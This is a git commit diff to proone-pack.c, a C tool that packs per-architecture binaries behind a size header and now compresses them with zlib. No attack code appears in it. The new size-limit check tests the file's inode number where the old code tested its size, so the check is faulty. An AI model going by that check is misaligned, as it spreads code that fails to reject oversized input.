bin pack redesign. resolv bug fix

1 files changed, 130 insertions, 48 deletions

diff --git a/src/proone-pack.c b/src/proone-pack.c
index 8384fb1..95c8ab8 100644
--- a/src/proone-pack.c
+++ b/src/proone-pack.c
@@ -8,30 +8,42 @@
 #include <errno.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/sendfile.h>
 #include <fcntl.h>
 
+#include <zlib.h>
+
 #include "util_rt.h"
 #include "util_ct.h"
 #include "protocol.h"
 
+typedef struct {
+	prne_arch_t arch;
+	const char *path;
+	struct stat st;
+} archive_tuple_t;
+
+uint8_t buf_in[16384], buf_out[16384];
+const archive_tuple_t *encounter_arr[NB_PRNE_ARCH];
+archive_tuple_t archive_arr[NB_PRNE_ARCH];
+size_t archive_arr_cnt = 0;
+
+static void report_zerror (const int z_ret, const char *msg) {
+	fprintf(stderr, "%s: (%d)%s\n", msg, z_ret, zError(z_ret));
+}
+
 
 int main (const int argc, const char **args) {
-	typedef struct {
-		prne_arch_t arch;
-		const char *path;
-	} archive_tuple_t;
 	size_t i;
-	const archive_tuple_t *encounter_arr[NB_PRNE_ARCH];
-	archive_tuple_t archive_arr[NB_PRNE_ARCH];
 	archive_tuple_t *archive;
-	size_t archive_arr_cnt = 0;
 	const char *path, *ext;
 	bool proc_result = true;
 	prne_arch_t arch;
 	int bin_fd = -1;
-	struct stat st;
 	uint8_t head[4];
+	int z_ret;
+	z_stream zs;
+	ssize_t io_ret;
+	size_t out_len;
 
 	if (argc <= 1) {
 		fprintf(stderr, "Usage: %s <path to binary 1> [path to binary 2 [path to binary ...]]\n", args[0]);
@@ -51,11 +63,18 @@ int main (const int argc, const char **args) {
 	// init
 	memzero(encounter_arr, sizeof(archive_tuple_t*) * NB_PRNE_ARCH);
 	memzero(archive_arr, sizeof(archive_tuple_t) * NB_PRNE_ARCH);
+	memzero(&zs, sizeof(z_stream));
+
+	if ((z_ret = deflateInit(&zs, Z_BEST_COMPRESSION)) != Z_OK) {
+		report_zerror(z_ret, "deflateInit()");
+		abort();
+	}
 
 	// Check the file names are valid
 	for (i = 1; i < (size_t)argc; i += 1) {
-		path = args[i];
+		struct stat st;
 
+		path = args[i];
 		ext = strrchr(path, '.');
 		if (ext == NULL) {
 			fprintf(stderr, "** %s: file extension not found\n", path);
@@ -77,71 +96,134 @@ int main (const int argc, const char **args) {
 			continue;
 		}
 
+		if (stat(path, &st) != 0) {
+			perror(path);
+			proc_result = false;
+			continue;
+		}
+		if (st.st_size <= 0) {
+			fprintf(stderr, "%s: empty file!\n", path);
+			proc_result = false;
+			continue;
+		}
+		if (st.st_ino > 0x00FFFFFF) {
+			fprintf(stderr, "%s: file too large!\n", path);
+			proc_result = false;
+			continue;
+		}
+
 		archive_arr[archive_arr_cnt].arch = arch;
 		archive_arr[archive_arr_cnt].path = path;
+		archive_arr[archive_arr_cnt].st = st;
 		encounter_arr[arch] = &archive_arr[archive_arr_cnt];
 		archive_arr_cnt += 1;
 	}
 	if (!proc_result) {
-		return 1;
+		goto END;
 	}
 
-	// do packing
-	fprintf(stderr, archive_arr_cnt == NB_PRNE_ARCH ? "Packing %zu binaries.\n" : "* Warning: packing only %zu binaries\n", archive_arr_cnt);
+	// write head
+	head[0] = (uint8_t)(archive_arr_cnt & 0x000000FF);
+	if (write(STDOUT_FILENO, head, 1) != 1) {
+		perror("write()");
+		proc_result = false;
+		goto END;
+	}
 	for (i = 0; i < archive_arr_cnt; i += 1) {
-		archive = &archive_arr[i];
-		fprintf(stderr, "Packing: %s ...\n", archive->path);
+		archive = archive_arr + i;
 
-		bin_fd = open(archive->path, O_RDONLY);
-		if (bin_fd < 0) {
-			perror("** open()");
+		head[0] = (uint8_t)archive->arch;
+		head[1] = (uint8_t)(((uint_fast32_t)archive->st.st_size & 0x00FF0000) >> 16);
+		head[2] = (uint8_t)(((uint_fast32_t)archive->st.st_size & 0x0000FF00) >> 8);
+		head[3] = (uint8_t)((uint_fast32_t)archive->st.st_size & 0x000000FF);
+		if (write(STDOUT_FILENO, head, 4) != 4) {
+			perror("write()");
 			proc_result = false;
+			goto END;
 			break;
 		}
+	}
 
-		// get size
-		if (fstat(bin_fd, &st) != 0) {
-			perror("** fstat()");
+	// write binary
+	for (i = 0; i < archive_arr_cnt; i += 1) {
+		archive = archive_arr + i;
+
+		bin_fd = open(archive->path, O_RDONLY);
+		if (bin_fd < 0) {
+			perror(archive->path);
 			proc_result = false;
-			break;
+			goto END;
 		}
-		if (st.st_size == 0) {
-			fprintf(stderr, "** empty file!\n");
-			proc_result = false;
-			break;
+
+		while (true) {
+			io_ret = read(bin_fd, buf_in, sizeof(buf_in));
+			if (io_ret == 0) {
+				break;
+			}
+			if (io_ret < 0) {
+				perror(archive->path);
+				proc_result = false;
+				goto END;
+			}
+
+			zs.avail_in = io_ret;
+			zs.next_in = buf_in;
+			do {
+				zs.avail_out = sizeof(buf_out);
+				zs.next_out = buf_out;
+				z_ret = deflate(&zs, Z_NO_FLUSH);
+				switch (z_ret) {
+				case Z_BUF_ERROR:
+				case Z_OK:
+					break;
+				default:
+					report_zerror(z_ret, archive->path);
+					proc_result = false;
+					goto END;
+				}
+				out_len = sizeof(buf_out) - zs.avail_out;
+
+				if (write(STDOUT_FILENO, buf_out, out_len) != (ssize_t)out_len) {
+					perror("write()");
+					proc_result = false;
+					goto END;
+				}
+			} while (zs.avail_out == 0);
 		}
-		if (st.st_size > 0x00FFFFFE) {
-			fprintf(stderr, "** binary too large!\n");
+
+		prne_close(bin_fd);
+		bin_fd = -1;
+	}
+
+	zs.next_in = NULL;
+	zs.avail_in = 0;
+	do {
+		zs.next_out = buf_out;
+		zs.avail_out = sizeof(buf_out);
+		z_ret = deflate(&zs, Z_FINISH);
+		switch (z_ret) {
+		case Z_BUF_ERROR:
+		case Z_STREAM_END:
+		case Z_OK:
+			break;
+		default:
+			report_zerror(z_ret, "finishing deflate()");
 			proc_result = false;
 			break;
 		}
+		out_len = sizeof(buf_out) - zs.avail_out;
 
-		// write head
-		head[0] = (uint8_t)archive->arch;
-		// endian conversion as the file is big endian
-		head[1] = (uint8_t)(((uint_fast32_t)st.st_size & 0x00FF0000) >> 16);
-		head[2] = (uint8_t)(((uint_fast32_t)st.st_size & 0x0000FF00) >> 8);
-		head[3] = (uint8_t)((uint_fast32_t)st.st_size & 0x000000FF);
-		if (write(STDOUT_FILENO, head, 4) != 4) {
+		if (write(STDOUT_FILENO, buf_out, out_len) != (ssize_t)out_len) {
 			perror("write()");
 			proc_result = false;
 			break;
 		}
-		
-		// write binary
-		if (sendfile(STDOUT_FILENO, bin_fd, NULL, st.st_size) < 0) {
-			perror("** sendfile()");
-			proc_result = false;
-			break;
-		}
-
-		prne_close(bin_fd);
-		bin_fd = -1;
-	}
+	} while (zs.avail_out == 0);
 
+END:
+	deflateEnd(&zs);
 	prne_close(bin_fd);
 	bin_fd = -1;
-	errno = 0;
 
-	return proc_result ? 0 : 2;
+	return proc_result ? 0 : 1;
 }